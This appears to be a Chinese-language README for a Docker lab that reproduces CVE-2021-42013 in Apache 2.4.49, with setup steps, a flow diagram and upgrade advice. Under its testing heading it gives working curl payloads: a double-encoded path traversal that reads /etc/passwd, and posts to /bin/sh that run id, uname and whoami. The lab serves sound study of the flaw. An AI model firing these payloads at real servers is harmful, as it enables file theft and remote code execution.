Apache HTTP Server 2.4.49 路径遍历与远程代码执行 (CVE-2021-42013)

关于项目

在本项目中，我使用Docker搭建的实验室环境展示了Apache HTTP Server 2.4.49版本中存在的CVE-2021-42013漏洞。

目的是在可控环境中研究漏洞的产生原理、运行机制及其对系统的影响。

本研究仅供教育和实验室目的使用。

使用的技术

Docker
Ubuntu 22.04
Apache HTTP Server 2.4.49
Bash
curl

项目文件结构

.
├── Dockerfile
├── index.html
└── README.md

要求

运行项目之前，需要安装以下软件：

Docker Desktop
Git (可选)

安装

首先，将仓库下载到您的计算机。

git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git

进入目录。

cd apache-cve-2021-42013-lab

创建Docker镜像。

docker build -t apache-2.4.49-src .

启动容器。

docker run -d -p 8081:80 --name apache-src apache-2.4.49-src

进入容器。

docker exec -it apache-src /bin/bash

检查Apache版本。

/usr/local/apache2/bin/httpd -v

退出容器：

exit

检查Apache模块

您可以使用以下命令检查CGI模块是否已启用。

docker exec -it apache-src /usr/local/apache2/bin/apachectl -M

启用CGI模块

docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf

然后重新启动Apache。

docker exec -it apache-src /usr/local/apache2/bin/apachectl restart

关闭CGI模块：

docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf

然后再次重启。

测试漏洞

路径遍历

curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"

远程代码执行

curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"

要查看更多系统信息：

curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -

预期结果

安装完成后：

Apache 2.4.49 应成功运行。
启用CGI模块后，可观察到漏洞。
可通过路径遍历访问系统文件。
可以看到RCE能够在服务器上执行命令。

漏洞工作原理

客户端 (cURL)
      │
      ▼
Apache HTTP Server 2.4.49
      │
      ▼
URL规范化错误
      │
      ▼
路径遍历
      │
      ├──────────────► CGI关闭
      │                     │
      │                     ▼
      │             可以访问文件
      │
      ▼
CGI启用
      │
      ▼
可执行/bin/sh
      │
      ▼
远程代码执行 (RCE)

要演示RCE场景，需要启用mod_cgi模块。

预防措施

建议将Apache HTTP Server升级到2.4.51或更高版本以修复此漏洞。此外，如果不使用CGI，建议禁用它，并仅为必要目录定义适当的访问权限。

apache-cve-2021-42013-lab

最受欢迎